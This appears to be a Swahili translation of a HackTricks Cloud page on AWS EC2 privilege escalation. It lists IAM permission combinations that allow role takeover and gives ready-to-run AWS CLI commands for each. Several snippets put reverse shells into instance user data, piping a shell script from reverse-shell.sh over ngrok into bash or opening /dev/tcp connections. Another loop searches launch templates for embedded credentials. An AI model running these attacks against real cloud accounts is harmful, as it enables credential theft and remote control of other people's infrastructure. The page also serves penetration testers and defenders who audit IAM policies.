AWS - EC2 Privesc
Reading time: 11 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
EC2
Kwa maelezo zaidi kuhusu EC2 angalia:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole
, ec2:RunInstances
Mshambuliaji anaweza kuunda na instance ikifunga jukumu la IAM kisha kufikia instance hiyo ili kuiba akidi za jukumu la IAM kutoka kwa kiunganishi cha metadata.
- Upatikanaji kupitia SSH
Kimbia instance mpya ukitumia funguo za ssh zilizoundwa (--key-name
) kisha ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji kuwa na ruhusa ec2:CreateKeyPair
).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- Upatikanaji kupitia rev shell katika data ya mtumiaji
Unaweza kuendesha mfano mpya ukitumia data ya mtumiaji (--user-data
) ambayo itakutumia rev shell. Huhitaji kubainisha kundi la usalama kwa njia hii.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
Kuwa makini na GuradDuty ukitumia akreditivu za jukumu la IAM nje ya mfano:
Athari Zinazoweza Kutokea: Privesc moja kwa moja kwa jukumu lolote la EC2 lililounganishwa na wasifu wa mfano uliopo.
Privesc kwa ECS
Kwa seti hii ya ruhusa unaweza pia kuunda mfano wa EC2 na kujiandikisha ndani ya klasta ya ECS. Kwa njia hii, huduma za ECS zita endesha ndani ya mfano wa EC2 ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (mashine za docker) na kuchukua majukumu yao ya ECS yaliyounganishwa.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
Ili kujifunza jinsi ya kulazimisha huduma za ECS kufanyika katika hii EC2 mpya angalia:
Ikiwa huwezi kuunda mfano mpya lakini una ruhusa ecs:RegisterContainerInstance
unaweza kuwa na uwezo wa kujiandikisha mfano ndani ya klasta na kutekeleza shambulio lililozungumziwa.
Athari Zinazoweza Kutokea: Privesc moja kwa moja kwa majukumu ya ECS yaliyounganishwa na kazi.
iam:PassRole
, iam:AddRoleToInstanceProfile
Kama ilivyo katika hali ya awali, mshambuliaji mwenye ruhusa hizi anaweza kubadilisha jukumu la IAM la mfano ulioathirika ili aweze kuiba akidi mpya.
Kama profaili ya mfano inaweza kuwa na jukumu 1 tu, ikiwa profaili ya mfano tayari ina jukumu (hali ya kawaida), utahitaji pia iam:RemoveRoleFromInstanceProfile
.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
Ikiwa profaili ya mfano ina jukumu na mshambuliaji hawezi kuondoa hiyo, kuna njia nyingine. Anaweza kupata profaili ya mfano isiyo na jukumu au kuunda mpya (iam:CreateInstanceProfile
), kuongeza jukumu kwa profaili hiyo ya mfano (kama ilivyojadiliwa hapo awali), na kuunganisha profaili ya mfano iliyovunjika kwa mfano uliovunjika:
- Ikiwa mfano hauna profaili yoyote ya mfano (
ec2:AssociateIamInstanceProfile
)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
Madhara Yanayoweza Kutokea: Privesc ya moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano).
iam:PassRole
(( ec2:AssociateIamInstanceProfile
& ec2:DisassociateIamInstanceProfile
) || ec2:ReplaceIamInstanceProfileAssociation
)
Kwa ruhusa hizi inawezekana kubadilisha wasifu wa mfano uliohusishwa na mfano hivyo ikiwa shambulio tayari lilikuwa na ufikiaji wa mfano atakuwa na uwezo wa kuiba akidi za majukumu zaidi ya wasifu wa mfano kwa kubadilisha ule uliohusishwa nao.
- Ikiwa ina wasifu wa mfano, unaweza kuondoa wasifu wa mfano (
ec2:DisassociateIamInstanceProfile
) na kuunganisha.
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- au badilisha profaili ya mfano ya mfano ulioathiriwa (
ec2:ReplaceIamInstanceProfileAssociation
).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano).
ec2:RequestSpotInstances
,iam:PassRole
Mshambuliaji mwenye ruhusa ec2:RequestSpotInstances
naiam:PassRole
anaweza kuomba Spot Instance yenye Jukumu la EC2 lililounganishwa na rev shell katika data ya mtumiaji.
Mara mfano unapokimbia, anaweza kuchukua jukumu la IAM.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
Mshambuliaji mwenye ec2:ModifyInstanceAttribute
anaweza kubadilisha sifa za instances. Miongoni mwao, anaweza kubadilisha data ya mtumiaji, ambayo ina maana kwamba anaweza kufanya instance ikimbie data yoyote. Hii inaweza kutumika kupata rev shell kwa instance ya EC2.
Kumbuka kwamba sifa zinaweza tu kubadilishwa wakati instance imezimwa, hivyo idhini ec2:StopInstances
na ec2:StartInstances
.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa yoyote EC2 IAM Role iliyoambatanishwa na mfano ulioanzishwa.
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
,ec2:ModifyLaunchTemplate
Mshambuliaji mwenye ruhusa ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
na ec2:ModifyLaunchTemplate
anaweza kuunda toleo jipya la Template ya Kuanzisha lenye rev shell katika data ya mtumiaji na EC2 IAM Role yoyote juu yake, kubadilisha toleo la kawaida, na kikundi chochote cha Autoscaler kilichotumia hiyo Template ya Kuanzisha ambayo ime pangwa kutumia toleo jipya au toleo la kawaida itafanya kurejesha mifano ikitumia template hiyo na itatekeleza rev shell.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Madhara Yanayoweza Kutokea: Privesc ya moja kwa moja kwa jukumu tofauti la EC2.
autoscaling:CreateLaunchConfiguration
, autoscaling:CreateAutoScalingGroup
, iam:PassRole
Mshambuliaji mwenye ruhusa autoscaling:CreateLaunchConfiguration
,autoscaling:CreateAutoScalingGroup
,iam:PassRole
anaweza kuunda Mipangilio ya Kuanzisha yenye Jukumu la IAM na rev shell ndani ya data ya mtumiaji, kisha kuunda kundi la autoscaling kutoka kwa mipangilio hiyo na kusubiri rev shell ili kuiba Jukumu la IAM.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu tofauti la EC2.
!autoscaling
Seti ya ruhusa ec2:CreateLaunchTemplate
na autoscaling:CreateAutoScalingGroup
hazitoshi kupandisha mamlaka kwa jukumu la IAM kwa sababu ili kuunganisha jukumu lililotajwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi unahitaji ruhusa iam:PassRole
na ec2:RunInstances
(ambayo ni privesc inayojulikana).
ec2-instance-connect:SendSSHPublicKey
Mshambuliaji mwenye ruhusa ec2-instance-connect:SendSSHPublicKey
anaweza kuongeza ufunguo wa ssh kwa mtumiaji na kuutumia kuufikia (ikiwa ana ufikiaji wa ssh kwa mfano) au kupandisha mamlaka.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa majukumu ya IAM ya EC2 yaliyounganishwa na mifano inayotembea.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Mshambuliaji mwenye ruhusa ec2-instance-connect:SendSerialConsoleSSHPublicKey
anaweza kuongeza ufunguo wa ssh kwenye muunganisho wa serial. Ikiwa serial haijawashwa, mshambuliaji anahitaji ruhusa ec2:EnableSerialConsoleAccess
ili kuiwasha.
Ili kuungana na bandari ya serial unahitaji pia kujua jina la mtumiaji na nenosiri la mtumiaji ndani ya mashine.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
Hii njia si ya manufaa sana kwa privesc kwani unahitaji kujua jina la mtumiaji na nenosiri ili kuweza kuifanyia shambulio.
Madhara Yanayoweza Kutokea: (Siyo rahisi kuthibitisha) Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayoendesha.
describe-launch-templates
,describe-launch-template-versions
Kwa kuwa templates za uzinduzi zina toleo, mshambuliaji mwenye ruhusa ec2:describe-launch-templates
na ec2:describe-launch-template-versions
anaweza kuzitumia hizi kugundua taarifa nyeti, kama vile akidi zilizopo katika data ya mtumiaji. Ili kufanikisha hili, script ifuatayo inarudiarudia kupitia matoleo yote ya templates za uzinduzi zinazopatikana:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (aws_|password|token|api
), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti.
Ikiwa tutapata aws_access_key_id
na aws_secret_access_key
, tunaweza kutumia akreditivu hizi kujiandikisha kwenye AWS.
Athari Zinazoweza Kutokea: Kuinua kibali moja kwa moja kwa mtumiaji wa IAM.
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.